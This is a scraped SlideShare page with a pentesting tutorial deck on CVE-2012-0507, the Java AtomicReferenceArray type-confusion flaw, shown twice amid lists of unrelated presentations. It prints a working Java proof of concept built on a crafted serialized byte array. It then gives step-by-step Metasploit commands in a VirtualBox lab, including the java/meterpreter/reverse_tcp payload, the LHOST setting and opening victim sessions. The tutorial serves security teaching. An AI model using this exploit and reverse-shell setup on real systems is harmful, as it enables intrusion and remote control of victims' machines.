SlideShare uma empresa Scribd logo
1 de 25
PenTesting Tutorials:
www.BreakTheSecurity.com
About CVE-2012-0507
   A vulnerability in the JRE due to the fact that The
    AtomicReferenceArray class implementation did
    not properly check if the array is of an expected
    Object[] type. The vulnerability found by Jeroen
    Frijters

   A malicious Java application or applet could use
    this flaw to cause Java Virtual Machine(JVM) to
    crash or bypass Java sandbox restrictions.
public AtomicReferenceArray(E[] array) {
     this.array = array.clone();
}
import java.util.concurrent.atomic.*;
class first
{
}
public violateClass
{
public static void main(String a[])
{
Object obj=new first();
AtomicReferenceArray r=new AtomicReferenceArray(new
    first[1]);
obj="Hell";
r.set(0,obj);
first f=(first)r.get(0);
}
}
Exploiting
By manually constructing a serialized
object graph you can stick any array you
want into an AtomicReferenceArray
instance and then use the
AtomicReferenceArray.set() method to
write an arbitrary reference to violate type
safety.
Arbitrary reference to violate
type safety.
 import java.io.*;
 import java.util.concurrent.atomic.*;
 class Union1 { }
 class Union2 { }
 public class test
 {
   static byte[] buf = new byte[] {
     -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
     46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
     0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
     -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
     114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
     114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
     105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
     -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
     0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
     99, 116, 59, 120, 112, 113, 0, 126, 0, 3
   };
     public static void main(String[] args) throws Throwable
     {
       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
       Object[] arr = (Object[])ois.readObject();
       Union1[] u1 = (Union1[])arr[0];
       AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
       ara.set(0, new Union2());
       System.out.println(u1[0]);
     }
 }
Requirements:
    VirtualBox
    Target OS(windows,...)
    PenTesting Distro(Backtrack )
    JRE 6(unpatched version)
Preparing Target Machine
   Start the "Target" Machine.

    Install the JRE 6.(I have already
    installed the JRE)
Preparing Attacker Machine
 Now, start the BT5.
 Open the Terminal and Type
  "msfupdate". This will update the Metasploit
  Framework(MSF) with the latest exploits.
 Open the Terminal and type msfconsole
 Now type :
     use exploit/multi/browser/java_atomicreferencearray
   The above command will use the
    java_atomicreferencearray.rb module for the attack.
   Now type "show options" to display the
    settings available and/or required for this
    specific module.
 set SRVPORT 80
 set URIPATH /
 set SRVHOST [Backtrack_ip]


How to get IP of Backtrack:

    ○ open the Terminal
    ○ Type ifconfig
    ○ It will display the IP
Payload
   Type "show payloads“ . This will displays the
    list of payloads available to use

   I am going to use the reverse_tcp payload.
    This payload will get reverse tcp connection
    from the Target to our machine.

   Type set payload java/meterpreter/reverse_tcp
 In order to get reverse connection, we
  have to set Backtrack IP in the LHOST.
 So type the following command:
     set LHOST [Backtrack_IP]
Are you ready?! Let us
 We have setup everything needed for the
  Exploit. So it is time to break into the Target
  machine.
 Type "exploit" in the msfconsole.
   This will start the reverse handler to our
    Machine and it will wait anyone that will
    connect to the our HTTP server (Eg:
    http://192.168.56.102)

    Once victim connect to our server, it will send
    a jar will that will exploit the CVE-2012-0507
    vulnerability.
Victim side
   We have set up our exploit. Let us see what
    happen when our victim open our url.

   Go to the “Target” VM.
   Open the Firefox
   Enter the url you got from the you got from the
    metasploit exploit:
    Eg: http://192.168.56.102

   No need to care about the „80‟ in the URL becoz
    It is default port 
   It loads nothing

 but in background :
 The Backtrack sends a jar file and
  exploit the vulnerability.
 After successful exploit, it brings control
  to Backtrack 
    Now type "sessions“ in the metasploit
    console, this will display the list of
    active sessions(victims list)
    Type "sessions -i 1", this will open the
    connection to the session with the id '1' and
    bring you to Meterpreter

    Meterpreter will help you to interact/control with
    the Target
Exploited in the Wild
   On April 2012, The research conducted by
    Dr.Web determined that more than 600,000
    Mac computers are infected with
    BackDoor.Flashback botnet.

   Included in Exploit kits
 I hope this article has given you a good
  insight into how to use MetaSploit Framework
  to exploit the Java vulnerability.
 I hope this will help you to get into the
  PenTesting world..!

         For more PenTesting Tutorials :
           www.BreakTheSecurity.com

Mais conteúdo relacionado

Último

Beyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global ImpactBeyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global Impact
PECB
 
Making and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfMaking and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdf
Chris Hunter
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
negromaestrong
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
ciinovamais
 

Último (20)

Beyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global ImpactBeyond the EU: DORA and NIS 2 Directive's Global Impact
Beyond the EU: DORA and NIS 2 Directive's Global Impact
 
Making and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdfMaking and Justifying Mathematical Decisions.pdf
Making and Justifying Mathematical Decisions.pdf
 
Measures of Central Tendency: Mean, Median and Mode
Measures of Central Tendency: Mean, Median and ModeMeasures of Central Tendency: Mean, Median and Mode
Measures of Central Tendency: Mean, Median and Mode
 
Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...
Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...
Explore beautiful and ugly buildings. Mathematics helps us create beautiful d...
 
Introduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The BasicsIntroduction to Nonprofit Accounting: The Basics
Introduction to Nonprofit Accounting: The Basics
 
Advance Mobile Application Development class 07
Advance Mobile Application Development class 07Advance Mobile Application Development class 07
Advance Mobile Application Development class 07
 
ICT Role in 21st Century Education & its Challenges.pptx
ICT Role in 21st Century Education & its Challenges.pptxICT Role in 21st Century Education & its Challenges.pptx
ICT Role in 21st Century Education & its Challenges.pptx
 
How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17
 
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
 
Grant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy ConsultingGrant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy Consulting
 
Unit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptxUnit-IV; Professional Sales Representative (PSR).pptx
Unit-IV; Professional Sales Representative (PSR).pptx
 
PROCESS RECORDING FORMAT.docx
PROCESS      RECORDING        FORMAT.docxPROCESS      RECORDING        FORMAT.docx
PROCESS RECORDING FORMAT.docx
 
Seal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptxSeal of Good Local Governance (SGLG) 2024Final.pptx
Seal of Good Local Governance (SGLG) 2024Final.pptx
 
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
Ecological Succession. ( ECOSYSTEM, B. Pharmacy, 1st Year, Sem-II, Environmen...
 
Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1
 
Activity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdfActivity 01 - Artificial Culture (1).pdf
Activity 01 - Artificial Culture (1).pdf
 
Key note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdfKey note speaker Neum_Admir Softic_ENG.pdf
Key note speaker Neum_Admir Softic_ENG.pdf
 
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17  How to Extend Models Using Mixin ClassesMixin Classes in Odoo 17  How to Extend Models Using Mixin Classes
Mixin Classes in Odoo 17 How to Extend Models Using Mixin Classes
 
This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.This PowerPoint helps students to consider the concept of infinity.
This PowerPoint helps students to consider the concept of infinity.
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activity
 

Destaque

Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Saba Software
 

Destaque (20)

Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slides
 
More than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike RoutesMore than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike Routes
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy Presentation
 
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
 

Exploiting java vulnerability [CVE-2012-0507 ]

  • 2.
  • 3. About CVE-2012-0507  A vulnerability in the JRE due to the fact that The AtomicReferenceArray class implementation did not properly check if the array is of an expected Object[] type. The vulnerability found by Jeroen Frijters  A malicious Java application or applet could use this flaw to cause Java Virtual Machine(JVM) to crash or bypass Java sandbox restrictions.
  • 4. public AtomicReferenceArray(E[] array) { this.array = array.clone(); }
  • 5. import java.util.concurrent.atomic.*; class first { } public violateClass { public static void main(String a[]) { Object obj=new first(); AtomicReferenceArray r=new AtomicReferenceArray(new first[1]); obj="Hell"; r.set(0,obj); first f=(first)r.get(0); } }
  • 6. Exploiting By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.
  • 7. Arbitrary reference to violate type safety. import java.io.*; import java.util.concurrent.atomic.*; class Union1 { } class Union2 { } public class test { static byte[] buf = new byte[] { -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0, 0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59, -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115, 114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109, 105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87, -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 120, 112, 113, 0, 126, 0, 3 }; public static void main(String[] args) throws Throwable { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf)); Object[] arr = (Object[])ois.readObject(); Union1[] u1 = (Union1[])arr[0]; AtomicReferenceArray ara = (AtomicReferenceArray)arr[1]; ara.set(0, new Union2()); System.out.println(u1[0]); } }
  • 8.
  • 9. Requirements:  VirtualBox  Target OS(windows,...)  PenTesting Distro(Backtrack )  JRE 6(unpatched version)
  • 10. Preparing Target Machine  Start the "Target" Machine.  Install the JRE 6.(I have already installed the JRE)
  • 11. Preparing Attacker Machine  Now, start the BT5.  Open the Terminal and Type "msfupdate". This will update the Metasploit Framework(MSF) with the latest exploits.
  • 12.  Open the Terminal and type msfconsole  Now type : use exploit/multi/browser/java_atomicreferencearray  The above command will use the java_atomicreferencearray.rb module for the attack.
  • 13. Now type "show options" to display the settings available and/or required for this specific module.
  • 14.  set SRVPORT 80  set URIPATH /  set SRVHOST [Backtrack_ip] How to get IP of Backtrack: ○ open the Terminal ○ Type ifconfig ○ It will display the IP
  • 15. Payload  Type "show payloads“ . This will displays the list of payloads available to use  I am going to use the reverse_tcp payload. This payload will get reverse tcp connection from the Target to our machine.  Type set payload java/meterpreter/reverse_tcp
  • 16.  In order to get reverse connection, we have to set Backtrack IP in the LHOST.  So type the following command: set LHOST [Backtrack_IP]
  • 17. Are you ready?! Let us
  • 18.  We have setup everything needed for the Exploit. So it is time to break into the Target machine.  Type "exploit" in the msfconsole.
  • 19. This will start the reverse handler to our Machine and it will wait anyone that will connect to the our HTTP server (Eg: http://192.168.56.102)  Once victim connect to our server, it will send a jar will that will exploit the CVE-2012-0507 vulnerability.
  • 20. Victim side  We have set up our exploit. Let us see what happen when our victim open our url.  Go to the “Target” VM.  Open the Firefox  Enter the url you got from the you got from the metasploit exploit: Eg: http://192.168.56.102  No need to care about the „80‟ in the URL becoz It is default port 
  • 21. It loads nothing but in background :  The Backtrack sends a jar file and exploit the vulnerability.  After successful exploit, it brings control to Backtrack 
  • 22. Now type "sessions“ in the metasploit console, this will display the list of active sessions(victims list)
  • 23. Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter  Meterpreter will help you to interact/control with the Target
  • 24. Exploited in the Wild  On April 2012, The research conducted by Dr.Web determined that more than 600,000 Mac computers are infected with BackDoor.Flashback botnet.  Included in Exploit kits
  • 25.  I hope this article has given you a good insight into how to use MetaSploit Framework to exploit the Java vulnerability.  I hope this will help you to get into the PenTesting world..!  For more PenTesting Tutorials : www.BreakTheSecurity.com